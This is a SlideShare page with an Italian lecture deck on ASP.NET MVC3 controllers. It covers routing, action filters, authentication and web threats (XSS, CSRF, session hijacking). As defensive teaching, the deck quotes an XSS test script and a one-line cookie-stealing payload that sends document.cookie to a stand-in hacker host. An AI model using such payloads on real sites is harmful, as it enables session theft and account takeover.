Your SlideShare is downloading. ×
0
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×
Saving this for later? Get the SlideShare app to save on your phone or tablet. Read anywhere, anytime – even offline.
Text the download link to your phone
Standard text messaging rates apply

ASP.NET MVC3 - Tutti i compiti del Controller

668

Published on

Dai cross-cutting concerns alla security parlando di ActionFilter e Routing

Dai cross-cutting concerns alla security parlando di ActionFilter e Routing

Published in: Technology
0 Comments
1 Like
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total Views
668
On Slideshare
0
From Embeds
0
Number of Embeds
1
Actions
Shares
0
Downloads
17
Comments
0
Likes
1
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
No notes for slide

Transcript

  • 1. Sviluppo applicazioni web e linguaggio HTML LEZIONE 07ASP.NETModel View Controller
  • 2. Processa le richiestedegli utenti compilandoil modello e scegliendola view da renderizzare Model
  • 3. Come fanno le richiestead arrivare al Controller?
  • 4. Attraverso la definizionedi regoledi Routing
  • 5. Una regola di routingtraduce l’indirizzo di unarichiesta in unaserie di parametri
  • 6. Una regola di routingtraduce l’indirizzo di unarichiesta in unaserie di parametri
  • 7. Tra questi parametridevono sempre essercicontroller e action
  • 8. … e poi?
  • 9. … e poi tocca a noi1 routes.MapRoute ( "PostByDate", "date/{year}/{month}", new { controller = "Post", action = "ByDate", year = DateTime.Now.Year, month = DateTime.Now.Month } );
  • 10. … e poi tocca a noi2 public ActionResult ByDate(int year, int month) { IList<Post> posts = new List<Post>(); using (var db = new BlogContext()) { posts = (from p in db.Posts where p.PublishedDate.Year == year && p.PublishedDate.Month == month select p).ToList(); } return View("List", posts); }
  • 11. This slide is intentionally blank
  • 12. Una delle caratteristichedel pattern MVC è laSeparation of Concerns
  • 13. … ma ci sono degli aspettidell’applicazione che sono“trasversali”
  • 14. Il risultato è spesso unaduplicazione di codice
  • 15. In questi casi possiamoutilizzare gli ActionFilter
  • 16. Attributi che decorano leaction del controller chevogliamo intercettare
  • 17. Scriviamo un filtro persalvare le statistiche sulnumero di pagine visitate
  • 18. Se il filtro deve essereapplicato a tutte le actionposso aggiungerlo allalista dei GlobalFilters nelfile global.asax
  • 19. This slide is intentionally blank
  • 20. La sicurezza di unaapplicazione viene garantitatra le altre cose da …
  • 21. 1 Riconoscimento dell’utente collegato
  • 22. 1 Riconoscimento dell’utente collegato2 Verifica dell’autorizzazione a procedere
  • 23. 1 Riconoscimento dell’utente collegato2 Verifica dell’autorizzazione a procedere3 Protezione dalle minacce facilitate dalle vulnerabilità
  • 24. 1 Riconoscimento dell’utente collegato
  • 25. Per identificare un utenteutilizziamo l’autenticazionetramite form
  • 26. Per specificare che unaaction richiede ilriconoscimento dell’utenteusiamo il filtroAuthorizeAttribute
  • 27. Il filtro controlla nell’HttpContextse l’utente è autenticato, se nonè così visualizza la pagina dilogin specificata nel web.config
  • 28. A questo punto l’utente cifornisce le sue credenziali … Utilizza il membership provider integrato(ovvero gli utenti sono salvati nel database ASPNETDB.mdf)
  • 29. Normalmente però lecredenziali dobbiamoverificarle noi, dall’elencodegli utenti della nostraapplicazione
  • 30. Verifica dell’autorizzazione aDependency procedereInjection
  • 31. Anche se l’utente èconosciuto non è detto cheabbia i permessi persvolgere una determinataoperazione
  • 32. L’accesso può essereregolato per utente e/o perruolo, generalmente però ipermessi sono specificidell’applicazione
  • 33. Ad esempio un autore nonpuò modificare i post di unaltro autore
  • 34. 3 Protezione dalle minaccefacilitate dalle vulnerabilità
  • 35. Quali vulnerabilità,quali minacce?
  • 36. Cross Site ScriptingPermette ad un hacker di inserirecodice al fine di modificare ilcontenuto della pagina webvisitata.
  • 37. Cross Site ScriptingPermette ad un hacker di inserirecodice al fine di modificare ilcontenuto della pagina webvisitata. In questo modo è possibilesottrarre dati sensibili presenti nelbrowser degli utenti che visiterannosuccessivamente quella pagina. Fonte: Wikipedia
  • 38. Come può accadere?Se permetto agli utenti del miosito di inserire contenuti in html …
  • 39. Come può accadere?Se permetto agli utenti del miosito di inserire contenuti in html,devo disabilitare il controllo degliinput con [ValidateInput=false]
  • 40. Come può accadere?Se permetto agli utenti del miosito di inserire contenuti in html,devo disabilitare il controllo degliinput con [ValidateInput=false]E se poi qualcuno scrive delcodice javascript?<script>alert(„XSS‟)</script>
  • 41. Come difendersi?
  • 42. Come difendersi?Encoding quando servee validazione degli inputlato server, ovvero puliziadai tag indesiderati
  • 43. Cross Site Request ForgeryPermette ad un hacker disfruttare l‟autenticazionetramite cookie per effettuareuna richiesta cross-domain anome dell‟utente (ovviamenteignaro di tutto).
  • 44. Come può accadere?Accade se visito la pagina nellaquale un hacker ha inserito un linkcon i parametri “giusti” (oppureun codice che esegue un postautomatico) dopo essermiautenticato sul sito vulnerabile atale attacco.
  • 45. Come difendersi?
  • 46. Indirizzo dal qualeCome difendersi? è stata inviata la richiestaControllare il referrer dellarichiesta oppure utilizzareun token fornitodall’Antiforgery Helper
  • 47. Antiforgery Helper1 @using(Html.BeginForm()) { @Html.AntiForgeryToken() <!-- controlli di input --> }2 [HttpPost] [ValidateAntiForgeryToken] public ActionResult Change(string pwd) {
  • 48. Session HijackingPermette ad un hacker disfruttare la vulnerabilità XSS per“rubare” l‟identità di un utentedata dal suo cookie diautenticazione.
  • 49. Come può accadere?L‟hacker nasconde dietrol‟indirizzo di una immagine unachiamata al suo sito passndocome parametro il valore delcookie dell‟utente.img.src = “http://sito.hacker/ruba_identita?cookies=“+ encodeURI(document.cookie);
  • 50. Come difendersi?
  • 51. Come difendersi?Impedire l‟accesso al cookietramite script settando a true laproprietà HttpOnly (disponibileda IE 6 SP1).
  • 52. continua?
  • 53. CreditsLe immagini contenute in questa presentazionehanno licenza Creative CommonsSlide 4: http://www.flickr.com/photos/telstar/2987850087/in/photostream/Slide 22: http://www.flickr.com/photos/mbiskoping/4120185389/in/photostream/Slide 27: http://www.flickr.com/photos/clappstar/131011191/in/photostream/Slide 33: http://www.flickr.com/photos/24196101@N00/6243028090/Slide 39-43-47: http://www.flickr.com/photos/35703177@N00/3720913706/Slide 39: http://www.flickr.com/photos/nizger/5750806378/in/photostream/
  • 54. Thank You MANUEL SCAPOLAN website: www.manuelscapolan.it twitter: manuelscapolan e-mail: info@manuelscapolan.it

×